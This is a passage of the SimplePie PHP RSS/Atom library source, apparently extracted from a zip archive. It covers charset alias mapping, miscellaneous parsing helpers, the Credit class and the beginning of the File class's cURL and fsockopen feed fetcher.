            case 'csiso86hungarian':
            case 'hu':
            case 'iso646hu':
            case 'isoir86':
            case 'msz77953':
                return 'MSZ_7795.3';

            case 'csnatsdano':
            case 'isoir91':
            case 'natsdano':
                return 'NATS-DANO';

            case 'csnatsdanoadd':
            case 'isoir92':
            case 'natsdanoadd':
                return 'NATS-DANO-ADD';

            case 'csnatssefi':
            case 'isoir81':
            case 'natssefi':
                return 'NATS-SEFI';

            case 'csnatssefiadd':
            case 'isoir82':
            case 'natssefiadd':
                return 'NATS-SEFI-ADD';

            case 'csiso151cuba':
            case 'cuba':
            case 'iso646cu':
            case 'isoir151':
            case 'ncnc1081':
                return 'NC_NC00-10:81';

            case 'csiso69french':
            case 'fr':
            case 'iso646fr':
            case 'isoir69':
            case 'nfz62010':
                return 'NF_Z_62-010';

            case 'csiso25french':
            case 'iso646fr1':
            case 'isoir25':
            case 'nfz620101973':
                return 'NF_Z_62-010_(1973)';

            case 'csiso60danishnorwegian':
            case 'csiso60norwegian1':
            case 'iso646no':
            case 'isoir60':
            case 'no':
            case 'ns45511':
                return 'NS_4551-1';

            case 'csiso61norwegian2':
            case 'iso646no2':
            case 'isoir61':
            case 'no2':
            case 'ns45512':
                return 'NS_4551-2';

            case 'osdebcdicdf3irv':
                return 'OSD_EBCDIC_DF03_IRV';

            case 'osdebcdicdf41':
                return 'OSD_EBCDIC_DF04_1';

            case 'osdebcdicdf415':
                return 'OSD_EBCDIC_DF04_15';

            case 'cspc8danishnorwegian':
            case 'pc8danishnorwegian':
                return 'PC8-Danish-Norwegian';

            case 'cspc8turkish':
            case 'pc8turkish':
                return 'PC8-Turkish';

            case 'csiso16portuguese':
            case 'iso646pt':
            case 'isoir16':
            case 'pt':
                return 'PT';

            case 'csiso84portuguese2':
            case 'iso646pt2':
            case 'isoir84':
            case 'pt2':
                return 'PT2';

            case 'cp154':
            case 'csptcp154':
            case 'cyrillicasian':
            case 'pt154':
            case 'ptcp154':
                return 'PTCP154';

            case 'scsu':
                return 'SCSU';

            case 'csiso10swedish':
            case 'fi':
            case 'iso646fi':
            case 'iso646se':
            case 'isoir10':
            case 'se':
            case 'sen850200b':
                return 'SEN_850200_B';

            case 'csiso11swedishfornames':
            case 'iso646se2':
            case 'isoir11':
            case 'se2':
            case 'sen850200c':
                return 'SEN_850200_C';

            case 'csiso102t617bit':
            case 'isoir102':
            case 't617bit':
                return 'T.61-7bit';

            case 'csiso103t618bit':
            case 'isoir103':
            case 't61':
            case 't618bit':
                return 'T.61-8bit';

            case 'csiso128t101g2':
            case 'isoir128':
            case 't101g2':
                return 'T.101-G2';

            case 'cstscii':
            case 'tscii':
                return 'TSCII';

            case 'csunicode11':
            case 'unicode11':
                return 'UNICODE-1-1';

            case 'csunicode11utf7':
            case 'unicode11utf7':
                return 'UNICODE-1-1-UTF-7';

            case 'csunknown8bit':
            case 'unknown8bit':
                return 'UNKNOWN-8BIT';

            case 'ansix341968':
            case 'ansix341986':
            case 'ascii':
            case 'cp367':
            case 'csascii':
            case 'ibm367':
            case 'iso646irv1991':
            case 'iso646us':
            case 'isoir6':
            case 'us':
            case 'usascii':
                return 'US-ASCII';

            case 'csusdk':
            case 'usdk':
                return 'us-dk';

            case 'utf7':
                return 'UTF-7';

            case 'utf8':
                return 'UTF-8';

            case 'utf16':
                return 'UTF-16';

            case 'utf16be':
                return 'UTF-16BE';

            case 'utf16le':
                return 'UTF-16LE';

            case 'utf32':
                return 'UTF-32';

            case 'utf32be':
                return 'UTF-32BE';

            case 'utf32le':
                return 'UTF-32LE';

            case 'csventurainternational':
            case 'venturainternational':
                return 'Ventura-International';

            case 'csventuramath':
            case 'venturamath':
                return 'Ventura-Math';

            case 'csventuraus':
            case 'venturaus':
                return 'Ventura-US';

            case 'csiso70videotexsupp1':
            case 'isoir70':
            case 'videotexsuppl':
                return 'videotex-suppl';

            case 'csviqr':
            case 'viqr':
                return 'VIQR';

            case 'csviscii':
            case 'viscii':
                return 'VISCII';

            case 'csshiftjis':
            case 'cswindows31j':
            case 'mskanji':
            case 'shiftjis':
            case 'windows31j':
                return 'Windows-31J';

            case 'iso885911':
            case 'tis620':
                return 'windows-874';

            case 'cseuckr':
            case 'csksc56011987':
            case 'euckr':
            case 'isoir149':
            case 'korean':
            case 'ksc5601':
            case 'ksc56011987':
            case 'ksc56011989':
            case 'windows949':
                return 'windows-949';

            case 'windows1250':
                return 'windows-1250';

            case 'windows1251':
                return 'windows-1251';

            case 'cp819':
            case 'csisolatin1':
            case 'ibm819':
            case 'iso88591':
            case 'iso885911987':
            case 'isoir100':
            case 'l1':
            case 'latin1':
            case 'windows1252':
                return 'windows-1252';

            case 'windows1253':
                return 'windows-1253';

            case 'csisolatin5':
            case 'iso88599':
            case 'iso885991989':
            case 'isoir148':
            case 'l5':
            case 'latin5':
            case 'windows1254':
                return 'windows-1254';

            case 'windows1255':
                return 'windows-1255';

            case 'windows1256':
                return 'windows-1256';

            case 'windows1257':
                return 'windows-1257';

            case 'windows1258':
                return 'windows-1258';

            default:
                return $charset;
        }
    }

    public static function get_curl_version()
    {
        if (is_array($curl = curl_version())) {
            $curl = $curl['version'];
        } elseif (substr($curl, 0, 5) === 'curl/') {
            $curl = substr($curl, 5, strcspn($curl, "\x09\x0A\x0B\x0C\x0D", 5));
        } elseif (substr($curl, 0, 8) === 'libcurl/') {
            $curl = substr($curl, 8, strcspn($curl, "\x09\x0A\x0B\x0C\x0D", 8));
        } else {
            $curl = 0;
        }
        return $curl;
    }

    /**
     * Strip HTML comments
     *
     * @param string $data Data to strip comments from
     * @return string Comment stripped string
     */
    public static function strip_comments($data)
    {
        $output = '';
        while (($start = strpos($data, '<!--')) !== false) {
            $output .= substr($data, 0, $start);
            if (($end = strpos($data, '-->', $start)) !== false) {
                $data = substr_replace($data, '', 0, $end + 3);
            } else {
                $data = '';
            }
        }
        return $output . $data;
    }

    public static function parse_date($dt)
    {
        $parser = \SimplePie\Parse\Date::get();
        return $parser->parse($dt);
    }

    /**
     * Decode HTML entities
     *
     * @deprecated since SimplePie 1.3, use DOMDocument instead
     * @param string $data Input data
     * @return string Output data
     */
    public static function entities_decode($data)
    {
        // trigger_error(sprintf('Using method "' . __METHOD__ . '" is deprecated since SimplePie 1.3, use "DOMDocument" instead.'), \E_USER_DEPRECATED);

        $decoder = new \SimplePie_Decode_HTML_Entities($data);
        return $decoder->parse();
    }

    /**
     * Remove RFC822 comments
     *
     * @param string $data Data to strip comments from
     * @return string Comment stripped string
     */
    public static function uncomment_rfc822($string)
    {
        $string = (string) $string;
        $position = 0;
        $length = strlen($string);
        $depth = 0;

        $output = '';

        while ($position < $length && ($pos = strpos($string, '(', $position)) !== false) {
            $output .= substr($string, $position, $pos - $position);
            $position = $pos + 1;
            if ($string[$pos - 1] !== '\\') {
                $depth++;
                while ($depth && $position < $length) {
                    $position += strcspn($string, '()', $position);
                    if ($string[$position - 1] === '\\') {
                        $position++;
                        continue;
                    } elseif (isset($string[$position])) {
                        switch ($string[$position]) {
                            case '(':
                                $depth++;
                                break;

                            case ')':
                                $depth--;
                                break;
                        }
                        $position++;
                    } else {
                        break;
                    }
                }
            } else {
                $output .= '(';
            }
        }
        $output .= substr($string, $position);

        return $output;
    }

    public static function parse_mime($mime)
    {
        if (($pos = strpos($mime, ';')) === false) {
            return trim($mime);
        }

        return trim(substr($mime, 0, $pos));
    }

    public static function atom_03_construct_type($attribs)
    {
        if (isset($attribs['']['mode']) && strtolower(trim($attribs['']['mode'])) === 'base64') {
            $mode = \SimplePie\SimplePie::CONSTRUCT_BASE64;
        } else {
            $mode = \SimplePie\SimplePie::CONSTRUCT_NONE;
        }
        if (isset($attribs['']['type'])) {
            switch (strtolower(trim($attribs['']['type']))) {
                case 'text':
                case 'text/plain':
                    return \SimplePie\SimplePie::CONSTRUCT_TEXT | $mode;

                case 'html':
                case 'text/html':
                    return \SimplePie\SimplePie::CONSTRUCT_HTML | $mode;

                case 'xhtml':
                case 'application/xhtml+xml':
                    return \SimplePie\SimplePie::CONSTRUCT_XHTML | $mode;

                default:
                    return \SimplePie\SimplePie::CONSTRUCT_NONE | $mode;
            }
        }

        return \SimplePie\SimplePie::CONSTRUCT_TEXT | $mode;
    }

    public static function atom_10_construct_type($attribs)
    {
        if (isset($attribs['']['type'])) {
            switch (strtolower(trim($attribs['']['type']))) {
                case 'text':
                    return \SimplePie\SimplePie::CONSTRUCT_TEXT;

                case 'html':
                    return \SimplePie\SimplePie::CONSTRUCT_HTML;

                case 'xhtml':
                    return \SimplePie\SimplePie::CONSTRUCT_XHTML;

                default:
                    return \SimplePie\SimplePie::CONSTRUCT_NONE;
            }
        }
        return \SimplePie\SimplePie::CONSTRUCT_TEXT;
    }

    public static function atom_10_content_construct_type($attribs)
    {
        if (isset($attribs['']['type'])) {
            $type = strtolower(trim($attribs['']['type']));
            switch ($type) {
                case 'text':
                    return \SimplePie\SimplePie::CONSTRUCT_TEXT;

                case 'html':
                    return \SimplePie\SimplePie::CONSTRUCT_HTML;

                case 'xhtml':
                    return \SimplePie\SimplePie::CONSTRUCT_XHTML;
            }
            if (in_array(substr($type, -4), ['+xml', '/xml']) || substr($type, 0, 5) === 'text/') {
                return \SimplePie\SimplePie::CONSTRUCT_NONE;
            } else {
                return \SimplePie\SimplePie::CONSTRUCT_BASE64;
            }
        }

        return \SimplePie\SimplePie::CONSTRUCT_TEXT;
    }

    public static function is_isegment_nz_nc($string)
    {
        return (bool) preg_match('/^([A-Za-z0-9\-._~\x{A0}-\x{D7FF}\x{F900}-\x{FDCF}\x{FDF0}-\x{FFEF}\x{10000}-\x{1FFFD}\x{20000}-\x{2FFFD}\x{30000}-\x{3FFFD}\x{40000}-\x{4FFFD}\x{50000}-\x{5FFFD}\x{60000}-\x{6FFFD}\x{70000}-\x{7FFFD}\x{80000}-\x{8FFFD}\x{90000}-\x{9FFFD}\x{A0000}-\x{AFFFD}\x{B0000}-\x{BFFFD}\x{C0000}-\x{CFFFD}\x{D0000}-\x{DFFFD}\x{E1000}-\x{EFFFD}!$&\'()*+,;=@]|(%[0-9ABCDEF]{2}))+$/u', $string);
    }

    public static function space_separated_tokens($string)
    {
        $space_characters = "\x20\x09\x0A\x0B\x0C\x0D";
        $string_length = strlen($string);

        $position = strspn($string, $space_characters);
        $tokens = [];

        while ($position < $string_length) {
            $len = strcspn($string, $space_characters, $position);
            $tokens[] = substr($string, $position, $len);
            $position += $len;
            $position += strspn($string, $space_characters, $position);
        }

        return $tokens;
    }

    /**
     * Converts a unicode codepoint to a UTF-8 character
     *
     * @static
     * @param int $codepoint Unicode codepoint
     * @return string UTF-8 character
     */
    public static function codepoint_to_utf8($codepoint)
    {
        $codepoint = (int) $codepoint;
        if ($codepoint < 0) {
            return false;
        } elseif ($codepoint <= 0x7f) {
            return chr($codepoint);
        } elseif ($codepoint <= 0x7ff) {
            return chr(0xc0 | ($codepoint >> 6)) . chr(0x80 | ($codepoint & 0x3f));
        } elseif ($codepoint <= 0xffff) {
            return chr(0xe0 | ($codepoint >> 12)) . chr(0x80 | (($codepoint >> 6) & 0x3f)) . chr(0x80 | ($codepoint & 0x3f));
        } elseif ($codepoint <= 0x10ffff) {
            return chr(0xf0 | ($codepoint >> 18)) . chr(0x80 | (($codepoint >> 12) & 0x3f)) . chr(0x80 | (($codepoint >> 6) & 0x3f)) . chr(0x80 | ($codepoint & 0x3f));
        }

        // U+FFFD REPLACEMENT CHARACTER
        return "\xEF\xBF\xBD";
    }

    /**
     * Similar to parse_str()
     *
     * Returns an associative array of name/value pairs, where the value is an
     * array of values that have used the same name
     *
     * @static
     * @param string $str The input string.
     * @return array
     */
    public static function parse_str($str)
    {
        $return = [];
        $str = explode('&', $str);

        foreach ($str as $section) {
            if (strpos($section, '=') !== false) {
                [$name, $value] = explode('=', $section, 2);
                $return[urldecode($name)][] = urldecode($value);
            } else {
                $return[urldecode($section)][] = null;
            }
        }

        return $return;
    }

    /**
     * Detect XML encoding, as per XML 1.0 Appendix F.1
     *
     * @todo Add support for EBCDIC
     * @param string $data XML data
     * @param \SimplePie\Registry $registry Class registry
     * @return array Possible encodings
     */
    public static function xml_encoding($data, $registry)
    {
        // UTF-32 Big Endian BOM
        if (substr($data, 0, 4) === "\x00\x00\xFE\xFF") {
            $encoding[] = 'UTF-32BE';
        }
        // UTF-32 Little Endian BOM
        elseif (substr($data, 0, 4) === "\xFF\xFE\x00\x00") {
            $encoding[] = 'UTF-32LE';
        }
        // UTF-16 Big Endian BOM
        elseif (substr($data, 0, 2) === "\xFE\xFF") {
            $encoding[] = 'UTF-16BE';
        }
        // UTF-16 Little Endian BOM
        elseif (substr($data, 0, 2) === "\xFF\xFE") {
            $encoding[] = 'UTF-16LE';
        }
        // UTF-8 BOM
        elseif (substr($data, 0, 3) === "\xEF\xBB\xBF") {
            $encoding[] = 'UTF-8';
        }
        // UTF-32 Big Endian Without BOM
        elseif (substr($data, 0, 20) === "\x00\x00\x00\x3C\x00\x00\x00\x3F\x00\x00\x00\x78\x00\x00\x00\x6D\x00\x00\x00\x6C") {
            if ($pos = strpos($data, "\x00\x00\x00\x3F\x00\x00\x00\x3E")) {
                $parser = $registry->create(Parser::class, [Misc::change_encoding(substr($data, 20, $pos - 20), 'UTF-32BE', 'UTF-8')]);
                if ($parser->parse()) {
                    $encoding[] = $parser->encoding;
                }
            }
            $encoding[] = 'UTF-32BE';
        }
        // UTF-32 Little Endian Without BOM
        elseif (substr($data, 0, 20) === "\x3C\x00\x00\x00\x3F\x00\x00\x00\x78\x00\x00\x00\x6D\x00\x00\x00\x6C\x00\x00\x00") {
            if ($pos = strpos($data, "\x3F\x00\x00\x00\x3E\x00\x00\x00")) {
                $parser = $registry->create(Parser::class, [Misc::change_encoding(substr($data, 20, $pos - 20), 'UTF-32LE', 'UTF-8')]);
                if ($parser->parse()) {
                    $encoding[] = $parser->encoding;
                }
            }
            $encoding[] = 'UTF-32LE';
        }
        // UTF-16 Big Endian Without BOM
        elseif (substr($data, 0, 10) === "\x00\x3C\x00\x3F\x00\x78\x00\x6D\x00\x6C") {
            if ($pos = strpos($data, "\x00\x3F\x00\x3E")) {
                $parser = $registry->create(Parser::class, [Misc::change_encoding(substr($data, 20, $pos - 10), 'UTF-16BE', 'UTF-8')]);
                if ($parser->parse()) {
                    $encoding[] = $parser->encoding;
                }
            }
            $encoding[] = 'UTF-16BE';
        }
        // UTF-16 Little Endian Without BOM
        elseif (substr($data, 0, 10) === "\x3C\x00\x3F\x00\x78\x00\x6D\x00\x6C\x00") {
            if ($pos = strpos($data, "\x3F\x00\x3E\x00")) {
                $parser = $registry->create(Parser::class, [Misc::change_encoding(substr($data, 20, $pos - 10), 'UTF-16LE', 'UTF-8')]);
                if ($parser->parse()) {
                    $encoding[] = $parser->encoding;
                }
            }
            $encoding[] = 'UTF-16LE';
        }
        // US-ASCII (or superset)
        elseif (substr($data, 0, 5) === "\x3C\x3F\x78\x6D\x6C") {
            if ($pos = strpos($data, "\x3F\x3E")) {
                $parser = $registry->create(Parser::class, [substr($data, 5, $pos - 5)]);
                if ($parser->parse()) {
                    $encoding[] = $parser->encoding;
                }
            }
            $encoding[] = 'UTF-8';
        }
        // Fallback to UTF-8
        else {
            $encoding[] = 'UTF-8';
        }
        return $encoding;
    }

    public static function output_javascript()
    {
        if (function_exists('ob_gzhandler')) {
            ob_start('ob_gzhandler');
        }
        header('Content-type: text/javascript; charset: UTF-8');
        header('Cache-Control: must-revalidate');
        header('Expires: ' . gmdate('D, d M Y H:i:s', time() + 604800) . ' GMT'); // 7 days

        $body = <<<END
function embed_quicktime(type, bgcolor, width, height, link, placeholder, loop) {
	if (placeholder != '') {
		document.writeln('<embed type="'+type+'" style="cursor:hand; cursor:pointer;" href="'+link+'" src="'+placeholder+'" width="'+width+'" height="'+height+'" autoplay="false" target="myself" controller="false" loop="'+loop+'" scale="aspect" bgcolor="'+bgcolor+'" pluginspage="http://www.apple.com/quicktime/download/"></embed>');
	}
	else {
		document.writeln('<embed type="'+type+'" style="cursor:hand; cursor:pointer;" src="'+link+'" width="'+width+'" height="'+height+'" autoplay="false" target="myself" controller="true" loop="'+loop+'" scale="aspect" bgcolor="'+bgcolor+'" pluginspage="http://www.apple.com/quicktime/download/"></embed>');
	}
}

function embed_flash(bgcolor, width, height, link, loop, type) {
	document.writeln('<embed src="'+link+'" pluginspage="http://www.macromedia.com/go/getflashplayer" type="'+type+'" quality="high" width="'+width+'" height="'+height+'" bgcolor="'+bgcolor+'" loop="'+loop+'"></embed>');
}

function embed_flv(width, height, link, placeholder, loop, player) {
	document.writeln('<embed src="'+player+'" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" quality="high" width="'+width+'" height="'+height+'" wmode="transparent" flashvars="file='+link+'&autostart=false&repeat='+loop+'&showdigits=true&showfsbutton=false"></embed>');
}

function embed_wmedia(width, height, link) {
	document.writeln('<embed type="application/x-mplayer2" src="'+link+'" autosize="1" width="'+width+'" height="'+height+'" showcontrols="1" showstatusbar="0" showdisplay="0" autostart="0"></embed>');
}
END;
        echo $body;
    }

    /**
     * Get the SimplePie build timestamp
     *
     * Uses the git index if it exists, otherwise uses the modification time
     * of the newest file.
     */
    public static function get_build()
    {
        if (static::$SIMPLEPIE_BUILD !== null) {
            return static::$SIMPLEPIE_BUILD;
        }

        $root = dirname(__FILE__, 2);
        if (file_exists($root . '/.git/index')) {
            static::$SIMPLEPIE_BUILD = filemtime($root . '/.git/index');

            return static::$SIMPLEPIE_BUILD;
        } elseif (file_exists($root . '/SimplePie')) {
            $time = 0;
            foreach (glob($root . '/SimplePie/*.php') as $file) {
                if (($mtime = filemtime($file)) > $time) {
                    $time = $mtime;
                }
            }
            static::$SIMPLEPIE_BUILD = $time;

            return static::$SIMPLEPIE_BUILD;
        } elseif (file_exists(dirname(__FILE__) . '/Core.php')) {
            static::$SIMPLEPIE_BUILD = filemtime(dirname(__FILE__) . '/Core.php');

            return static::$SIMPLEPIE_BUILD;
        }

        static::$SIMPLEPIE_BUILD = filemtime(__FILE__);

        return static::$SIMPLEPIE_BUILD;
    }

    /**
     * Get the default user agent string
     *
     * @return string
     */
    public static function get_default_useragent()
    {
        return \SimplePie\SimplePie::NAME . '/' . \SimplePie\SimplePie::VERSION . ' (Feed Parser; ' . \SimplePie\SimplePie::URL . '; Allow like Gecko) Build/' . static::get_build();
    }

    /**
     * Format debugging information
     */
    public static function debug(&$sp)
    {
        $info = 'SimplePie ' . \SimplePie\SimplePie::VERSION . ' Build ' . static::get_build() . "\n";
        $info .= 'PHP ' . PHP_VERSION . "\n";
        if ($sp->error() !== null) {
            $info .= 'Error occurred: ' . $sp->error() . "\n";
        } else {
            $info .= "No error found.\n";
        }
        $info .= "Extensions:\n";
        $extensions = ['pcre', 'curl', 'zlib', 'mbstring', 'iconv', 'xmlreader', 'xml'];
        foreach ($extensions as $ext) {
            if (extension_loaded($ext)) {
                $info .= "    $ext loaded\n";
                switch ($ext) {
                    case 'pcre':
                        $info .= '      Version ' . PCRE_VERSION . "\n";
                        break;
                    case 'curl':
                        $version = curl_version();
                        $info .= '      Version ' . $version['version'] . "\n";
                        break;
                    case 'mbstring':
                        $info .= '      Overloading: ' . mb_get_info('func_overload') . "\n";
                        break;
                    case 'iconv':
                        $info .= '      Version ' . ICONV_VERSION . "\n";
                        break;
                    case 'xml':
                        $info .= '      Version ' . LIBXML_DOTTED_VERSION . "\n";
                        break;
                }
            } else {
                $info .= "    $ext not loaded\n";
            }
        }
        return $info;
    }

    public static function silence_errors($num, $str)
    {
        // No-op
    }

    /**
     * Sanitize a URL by removing HTTP credentials.
     * @param string $url the URL to sanitize.
     * @return string the same URL without HTTP credentials.
     */
    public static function url_remove_credentials($url)
    {
        return preg_replace('#^(https?://)[^/:@]+:[^/:@]+@#i', '$1', $url);
    }
}

class_alias('SimplePie\Misc', 'SimplePie_Misc', false);
PKWd[��۶�src/Credit.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

/**
 * Handles `<media:credit>` as defined in Media RSS
 *
 * Used by {@see \SimplePie\Enclosure::get_credit()} and {@see \SimplePie\Enclosure::get_credits()}
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_credit_class()}
 *
 * @package SimplePie
 * @subpackage API
 */
class Credit
{
    /**
     * Credited role
     *
     * @var string
     * @see get_role()
     */
    public $role;

    /**
     * Organizational scheme
     *
     * @var string
     * @see get_scheme()
     */
    public $scheme;

    /**
     * Credited name
     *
     * @var string
     * @see get_name()
     */
    public $name;

    /**
     * Constructor, used to input the data
     *
     * For documentation on all the parameters, see the corresponding
     * properties and their accessors
     */
    public function __construct($role = null, $scheme = null, $name = null)
    {
        $this->role = $role;
        $this->scheme = $scheme;
        $this->name = $name;
    }

    /**
     * String-ified version
     *
     * @return string
     */
    public function __toString()
    {
        // There is no $this->data here
        return md5(serialize($this));
    }

    /**
     * Get the role of the person receiving credit
     *
     * @return string|null
     */
    public function get_role()
    {
        if ($this->role !== null) {
            return $this->role;
        }

        return null;
    }

    /**
     * Get the organizational scheme
     *
     * @return string|null
     */
    public function get_scheme()
    {
        if ($this->scheme !== null) {
            return $this->scheme;
        }

        return null;
    }

    /**
     * Get the credited person/entity's name
     *
     * @return string|null
     */
    public function get_name()
    {
        if ($this->name !== null) {
            return $this->name;
        }

        return null;
    }
}

class_alias('SimplePie\Credit', 'SimplePie_Credit');
PKWd[S�d�2�2src/File.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

/**
 * Used for fetching remote files and reading local files
 *
 * Supports HTTP 1.0 via cURL or fsockopen, with spotty HTTP 1.1 support
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_file_class()}
 *
 * @package SimplePie
 * @subpackage HTTP
 * @todo Move to properly supporting RFC2616 (HTTP/1.1)
 */
class File
{
    public $url;
    public $useragent;
    public $success = true;
    public $headers = [];
    public $body;
    public $status_code = 0;
    public $redirects = 0;
    public $error;
    public $method = \SimplePie\SimplePie::FILE_SOURCE_NONE;
    public $permanent_url;

    public function __construct($url, $timeout = 10, $redirects = 5, $headers = null, $useragent = null, $force_fsockopen = false, $curl_options = [])
    {
        if (class_exists('idna_convert')) {
            $idn = new \idna_convert();
            $parsed = \SimplePie\Misc::parse_url($url);
            $url = \SimplePie\Misc::compress_parse_url($parsed['scheme'], $idn->encode($parsed['authority']), $parsed['path'], $parsed['query'], null);
        }
        $this->url = $url;
        $this->permanent_url = $url;
        $this->useragent = $useragent;
        if (preg_match('/^http(s)?:\/\//i', $url)) {
            if ($useragent === null) {
                $useragent = ini_get('user_agent');
                $this->useragent = $useragent;
            }
            if (!is_array($headers)) {
                $headers = [];
            }
            if (!$force_fsockopen && function_exists('curl_exec')) {
                $this->method = \SimplePie\SimplePie::FILE_SOURCE_REMOTE | \SimplePie\SimplePie::FILE_SOURCE_CURL;
                $fp = curl_init();
                $headers2 = [];
                foreach ($headers as $key => $value) {
                    $headers2[] = "$key: $value";
                }
                if (version_compare(\SimplePie\Misc::get_curl_version(), '7.10.5', '>=')) {
                    curl_setopt($fp, CURLOPT_ENCODING, '');
                }
                curl_setopt($fp, CURLOPT_URL, $url);
                curl_setopt($fp, CURLOPT_HEADER, 1);
                curl_setopt($fp, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($fp, CURLOPT_FAILONERROR, 1);
                curl_setopt($fp, CURLOPT_TIMEOUT, $timeout);
                curl_setopt($fp, CURLOPT_CONNECTTIMEOUT, $timeout);
                curl_setopt($fp, CURLOPT_REFERER, \SimplePie\Misc::url_remove_credentials($url));
                curl_setopt($fp, CURLOPT_USERAGENT, $useragent);
                curl_setopt($fp, CURLOPT_HTTPHEADER, $headers2);
                foreach ($curl_options as $curl_param => $curl_value) {
                    curl_setopt($fp, $curl_param, $curl_value);
                }

                $this->headers = curl_exec($fp);
                if (curl_errno($fp) === 23 || curl_errno($fp) === 61) {
                    curl_setopt($fp, CURLOPT_ENCODING, 'none');
                    $this->headers = curl_exec($fp);
                }
                $this->status_code = curl_getinfo($fp, CURLINFO_HTTP_CODE);
                if (curl_errno($fp)) {
                    $this->error = 'cURL error ' . curl_errno($fp) . ': ' . curl_error($fp);
                    $this->success = false;
                } else {
                    // Use the updated url provided by curl_getinfo after any redirects.
                    if ($info = curl_getinfo($fp)) {
                        $this->url = $info['url'];
                    }
                    curl_close($fp);
                    $this->headers = \SimplePie\HTTP\Parser::prepareHeaders($this->headers, $info['redirect_count'] + 1);
                    $parser = new \SimplePie\HTTP\Parser($this->headers);
                    if ($parser->parse()) {
                        $this->headers = $parser->headers;
                        $this->body = trim($parser->body);
                        $this->status_code = $parser->status_code;
                        if ((in_array($this->status_code, [300, 301, 302, 303, 307]) || $this->status_code > 307 && $this->status_code < 400) && isset($this->headers['location']) && $this->redirects < $redirects) {
                            $this->redirects++;
                            $location = \SimplePie\Misc::absolutize_url($this->headers['location'], $url);
                            $previousStatusCode = $this->status_code;
                            $this->__construct($location, $timeout, $redirects, $headers, $useragent, $force_fsockopen, $curl_options);
                            $this->permanent_url = ($previousStatusCode == 301) ? $location : $url;
                            return;
                        }
                    }
                }
            } else {
                $this->method = \SimplePie\SimplePie::FILE_SOURCE_REMOTE | \SimplePie\SimplePie::FILE_SOURCE_FSOCKOPEN;
                $url_parts = parse_url($url);
                $socket_host = $url_parts['host'];
                if (isset($url_parts['scheme']) && strtolower($url_parts['scheme']) === 'https') {
                    $socket_host = "ssl://$url_parts[host]";
                    $url_parts['port'] = 443;
                }
                if (!isset($url_parts['port'])) {
                    $url_parts['port'] = 80;
                }
